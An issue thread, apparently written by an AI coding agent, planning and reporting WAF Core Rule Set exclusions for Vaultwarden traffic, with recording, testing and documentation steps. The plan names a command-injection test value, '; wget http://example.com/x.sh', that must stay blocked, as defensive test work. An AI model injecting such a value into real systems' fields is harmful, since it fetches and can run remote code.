Core Rule Set: Vaultwarden's ordinary requests pass by default #239

Open
opened 2026-11-09 06:12:22 +01:00 by clawbot · 2 comments
Collaborator

One unit of #212: its definition of done, for Vaultwarden, built by the plan at #212 (comment).

Ordinary traffic to record: the web vault; sign-in at /identity/connect/token; /api/sync; creating and updating items, whose fields are encrypted strings; attachments; the admin page; the same requests as the Bitwarden apps send.

The landing title ends with this issue's (closes #N).

Model: opus-5-5

One unit of https://git.eeqj.de/sneak/smallwebwaf/issues/212: its definition of done, for Vaultwarden, built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639. Ordinary traffic to record: the web vault; sign-in at `/identity/connect/token`; `/api/sync`; creating and updating items, whose fields are encrypted strings; attachments; the admin page; the same requests as the Bitwarden apps send. The landing title ends with this issue's `(closes #N)`. Model: opus-5-5
clawbot self-assigned this 2026-11-09 06:12:22 +01:00
Author
Collaborator

Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it. MediaWiki's change (#251) is the model to follow.

  • Where: internal/coreruleset. New files vaultwarden.conf, vaultwarden_test.go and testdata/vaultwarden-requests.txt. Tests load through the shared helpers and check recorded requests through the shared function; attack strings use the shared constants (injection, scriptTag, sqlInjection, scriptInjection), never new literals.
  • Recording: Vaultwarden's current release from its official image, pinned by digest, in Docker on this host. The web vault through a headless Chrome in a container; the Bitwarden clients' requests (sign-in at /identity/connect/token, /api/sync, items, folders, attachments, sends) through plain HTTP clients sending what the clients send; the admin page. Record names, folder names, URIs and notes with plain words and with python3, powershell, ls -la and .htaccess, and items with real encrypted strings. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.
  • Exclusions: per field, across Vaultwarden's own paths, removing on each only the rules its recorded values set off. SQL injection, path traversal, script injection and ; wget http://example.com/x.sh stay refused on every field the file touches, except where a field carries only encrypted strings; then the PR body says which. Every rule is phase 1, unless it must read the body; a later-phase rule follows whatever next says about such rules.
  • SWW_APPS: #225 waits on sneak. If it has landed, register vaultwarden as mediawiki is. If not, SPEC.md lists the file as the change after Mastodon's (or after MediaWiki's, if Mastodon's has not landed), and coreruleset.go loads it last; that PR adapts.
  • Docs: README.md lists Vaultwarden with the other apps, as a bulleted list; SPEC.md describes the change where it describes the others, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.

make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.

Model: opus-5-5

**Plan for this unit**, on top of https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, which bind it. MediaWiki's change (https://git.eeqj.de/sneak/smallwebwaf/pulls/251) is the model to follow. - **Where:** `internal/coreruleset`. New files `vaultwarden.conf`, `vaultwarden_test.go` and `testdata/vaultwarden-requests.txt`. Tests load through the shared helpers and check recorded requests through the shared function; attack strings use the shared constants (`injection`, `scriptTag`, `sqlInjection`, `scriptInjection`), never new literals. - **Recording:** Vaultwarden's current release from its official image, pinned by digest, in Docker on this host. The web vault through a headless Chrome in a container; the Bitwarden clients' requests (sign-in at `/identity/connect/token`, `/api/sync`, items, folders, attachments, sends) through plain HTTP clients sending what the clients send; the admin page. Record names, folder names, URIs and notes with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`, and items with real encrypted strings. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM. - **Exclusions:** per field, across Vaultwarden's own paths, removing on each only the rules its recorded values set off. SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` stay refused on every field the file touches, except where a field carries only encrypted strings; then the PR body says which. Every rule is phase 1, unless it must read the body; a later-phase rule follows whatever `next` says about such rules. - **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it has landed, register `vaultwarden` as `mediawiki` is. If not, `SPEC.md` lists the file as the change after Mastodon's (or after MediaWiki's, if Mastodon's has not landed), and `coreruleset.go` loads it last; that PR adapts. - **Docs:** `README.md` lists Vaultwarden with the other apps, as a bulleted list; `SPEC.md` describes the change where it describes the others, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`. Model: opus-5-5
Author
Collaborator

Built in #274, recorded from Vaultwarden 1.37.5. Beyond the plan: email addresses misfired too (python3.dev@example.com, powershell@example.com on 932260 and 932120), so the address fields on Vaultwarden's account, organization and admin paths skip those two rules only. The encrypted names of uploaded attachments and file sends skip 920120.

Model: opus-5-5

Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/274, recorded from Vaultwarden 1.37.5. Beyond the plan: email addresses misfired too (`python3.dev@example.com`, `powershell@example.com` on 932260 and 932120), so the address fields on Vaultwarden's account, organization and admin paths skip those two rules only. The encrypted names of uploaded attachments and file sends skip 920120. Model: opus-5-5
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: sneak/smallwebwaf#239